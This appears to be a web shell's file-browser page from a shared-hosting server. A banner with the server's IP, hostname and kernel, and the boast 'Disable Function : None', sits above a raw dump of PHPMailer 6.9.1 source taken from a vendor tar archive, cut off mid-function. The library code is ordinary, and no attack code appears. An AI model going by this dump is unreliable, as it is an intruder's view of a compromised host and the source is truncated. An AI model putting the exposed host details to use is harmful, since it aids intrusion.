uawdijnntqw1x1x1
IP : 216.73.216.110
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
www
/
node_modules
/
liftup
/
..
/
map-cache
/
..
/
..
/
4d695
/
vendor.tar
/
/
phpmailer/phpmailer/src/POP3.php000064400000027743151676714400012557 0ustar00<?php /** * PHPMailer POP-Before-SMTP Authentication Class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer POP-Before-SMTP Authentication Class. * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. * 1) This class does not support APOP authentication. * 2) Opening and closing lots of POP3 connections can be quite slow. If you need * to send a batch of emails then just perform the authentication once at the start, * and then loop through your mail sending script. Providing this process doesn't * take longer than the verification period lasts on your POP3 server, you should be fine. * 3) This is really ancient technology; you should only need to use it to talk to very old systems. * 4) This POP3 class is deliberately lightweight and incomplete, implementing just * enough to do authentication. * If you want a more complete class there are other POP3 classes for PHP available. * * @author Richard Davey (original author) <rich@corephp.co.uk> * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> */ class POP3 { /** * The POP3 PHPMailer Version number. * * @var string */ const VERSION = '6.9.1'; /** * Default POP3 port number. * * @var int */ const DEFAULT_PORT = 110; /** * Default timeout in seconds. * * @var int */ const DEFAULT_TIMEOUT = 30; /** * POP3 class debug output mode. * Debug output level. * Options: * @see POP3::DEBUG_OFF: No output * @see POP3::DEBUG_SERVER: Server messages, connection/server errors * @see POP3::DEBUG_CLIENT: Client and Server messages, connection/server errors * * @var int */ public $do_debug = self::DEBUG_OFF; /** * POP3 mail server hostname. * * @var string */ public $host; /** * POP3 port number. * * @var int */ public $port; /** * POP3 Timeout Value in seconds. * * @var int */ public $tval; /** * POP3 username. * * @var string */ public $username; /** * POP3 password. * * @var string */ public $password; /** * Resource handle for the POP3 connection socket. * * @var resource */ protected $pop_conn; /** * Are we connected? * * @var bool */ protected $connected = false; /** * Error container. * * @var array */ protected $errors = []; /** * Line break constant. */ const LE = "\r\n"; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show server -> client messages * also shows clients connection errors or errors from server * * @var int */ const DEBUG_SERVER = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_CLIENT = 2; /** * Simple static wrapper for all-in-one POP before SMTP. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public static function popBeforeSmtp( $host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0 ) { $pop = new self(); return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); } /** * Authenticate with a POP3 server. * A connect, login, disconnect sequence * appropriate for POP-before SMTP authorisation. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) { $this->host = $host; //If no port value provided, use default if (false === $port) { $this->port = static::DEFAULT_PORT; } else { $this->port = (int) $port; } //If no timeout value provided, use default if (false === $timeout) { $this->tval = static::DEFAULT_TIMEOUT; } else { $this->tval = (int) $timeout; } $this->do_debug = $debug_level; $this->username = $username; $this->password = $password; //Reset the error log $this->errors = []; //Connect $result = $this->connect($this->host, $this->port, $this->tval); if ($result) { $login_result = $this->login($this->username, $this->password); if ($login_result) { $this->disconnect(); return true; } } //We need to disconnect regardless of whether the login succeeded $this->disconnect(); return false; } /** * Connect to a POP3 server. * * @param string $host * @param int|bool $port * @param int $tval * * @return bool */ public function connect($host, $port = false, $tval = 30) { //Are we already connected? if ($this->connected) { return true; } //On Windows this will raise a PHP Warning error if the hostname doesn't exist. //Rather than suppress it with @fsockopen, capture it cleanly instead set_error_handler([$this, 'catchWarning']); if (false === $port) { $port = static::DEFAULT_PORT; } //Connect to the POP3 server $errno = 0; $errstr = ''; $this->pop_conn = fsockopen( $host, //POP3 Host $port, //Port # $errno, //Error Number $errstr, //Error Message $tval ); //Timeout (seconds) //Restore the error handler restore_error_handler(); //Did we connect? if (false === $this->pop_conn) { //It would appear not... $this->setError( "Failed to connect to server $host on port $port. errno: $errno; errstr: $errstr" ); return false; } //Increase the stream time-out stream_set_timeout($this->pop_conn, $tval, 0); //Get the POP3 server response $pop3_response = $this->getResponse(); //Check for the +OK if ($this->checkResponse($pop3_response)) { //The connection is established and the POP3 server is talking $this->connected = true; return true; } return false; } /** * Log in to the POP3 server. * Does not support APOP (RFC 2828, 4949). * * @param string $username * @param string $password * * @return bool */ public function login($username = '', $password = '') { if (!$this->connected) { $this->setError('Not connected to POP3 server'); return false; } if (empty($username)) { $username = $this->username; } if (empty($password)) { $password = $this->password; } //Send the Username $this->sendString("USER $username" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { //Send the Password $this->sendString("PASS $password" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { return true; } } return false; } /** * Disconnect from the POP3 server. */ public function disconnect() { // If could not connect at all, no need to disconnect if ($this->pop_conn === false) { return; } $this->sendString('QUIT' . static::LE); // RFC 1939 shows POP3 server sending a +OK response to the QUIT command. // Try to get it. Ignore any failures here. try { $this->getResponse(); } catch (Exception $e) { //Do nothing } //The QUIT command may cause the daemon to exit, which will kill our connection //So ignore errors here try { @fclose($this->pop_conn); } catch (Exception $e) { //Do nothing } // Clean up attributes. $this->connected = false; $this->pop_conn = false; } /** * Get a response from the POP3 server. * * @param int $size The maximum number of bytes to retrieve * * @return string */ protected function getResponse($size = 128) { $response = fgets($this->pop_conn, $size); if ($this->do_debug >= self::DEBUG_SERVER) { echo 'Server -> Client: ', $response; } return $response; } /** * Send raw data to the POP3 server. * * @param string $string * * @return int */ protected function sendString($string) { if ($this->pop_conn) { if ($this->do_debug >= self::DEBUG_CLIENT) { //Show client messages when debug >= 2 echo 'Client -> Server: ', $string; } return fwrite($this->pop_conn, $string, strlen($string)); } return 0; } /** * Checks the POP3 server response. * Looks for for +OK or -ERR. * * @param string $string * * @return bool */ protected function checkResponse($string) { if (strpos($string, '+OK') !== 0) { $this->setError("Server reported an error: $string"); return false; } return true; } /** * Add an error to the internal error store. * Also display debug output if it's enabled. * * @param string $error */ protected function setError($error) { $this->errors[] = $error; if ($this->do_debug >= self::DEBUG_SERVER) { echo '<pre>'; foreach ($this->errors as $e) { print_r($e); } echo '</pre>'; } } /** * Get an array of error messages, if any. * * @return array */ public function getErrors() { return $this->errors; } /** * POP3 connection error handler. * * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline */ protected function catchWarning($errno, $errstr, $errfile, $errline) { $this->setError( 'Connecting to the POP3 server raised a PHP warning:' . "errno: $errno errstr: $errstr; errfile: $errfile; errline: $errline" ); } } phpmailer/phpmailer/src/OAuthTokenProvider.php000064400000002762151676714400015564 0ustar00<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * OAuthTokenProvider - OAuth2 token provider interface. * Provides base64 encoded OAuth2 auth strings for SMTP authentication. * * @see OAuth * @see SMTP::authenticate() * * @author Peter Scopes (pdscopes) * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> */ interface OAuthTokenProvider { /** * Generate a base64-encoded OAuth token ensuring that the access token has not expired. * The string to be base 64 encoded should be in the form: * "user=<user_email_address>\001auth=Bearer <access_token>\001\001" * * @return string */ public function getOauth64(); } phpmailer/phpmailer/src/PHPMailer.php000064400000545601151676714400013615 0ustar00<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = ''; /** * The From name of the message. * * @var string */ public $FromName = ''; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ * @see http://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Contenttype header "text/calendar" * * @var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "<id@domain>", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2. * If not specified, the first one from that list that the server supports will be selected. * * @var string */ public $AuthType = ''; /** * SMTP SMTPXClient command attibutes * * @var array */ protected $SMTPXClient = []; /** * An implementation of the PHPMailer OAuthTokenProvider interface. * * @var OAuthTokenProvider */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's outcome (success or failure) is not yet decided. * * @see https://tools.ietf.org/html/rfc3461 See section 4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep the SMTP connection open after each message. * If this is set to true then the connection will remain open after a send, * and closing the connection will require an explicit call to smtpClose(). * It's a good idea to use this if you are sending multiple messages as it reduces overhead. * See the mailing list example for how to use it. * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: http://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * "smtp_transaction_id' => last smtp transaction id * * @var string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available text strings for the current language. * * @var array */ protected $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '6.9.1'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address * @param string $name An optional username associated with the address * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim } else { $name = ''; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. //Domain is assumed to be whatever is after the last @ symbol in the address if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Set the boundaries to use for delimiting MIME parts. * If you override this, ensure you set all 3 boundaries to unique values. * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies, * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7 * * @return void */ public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function 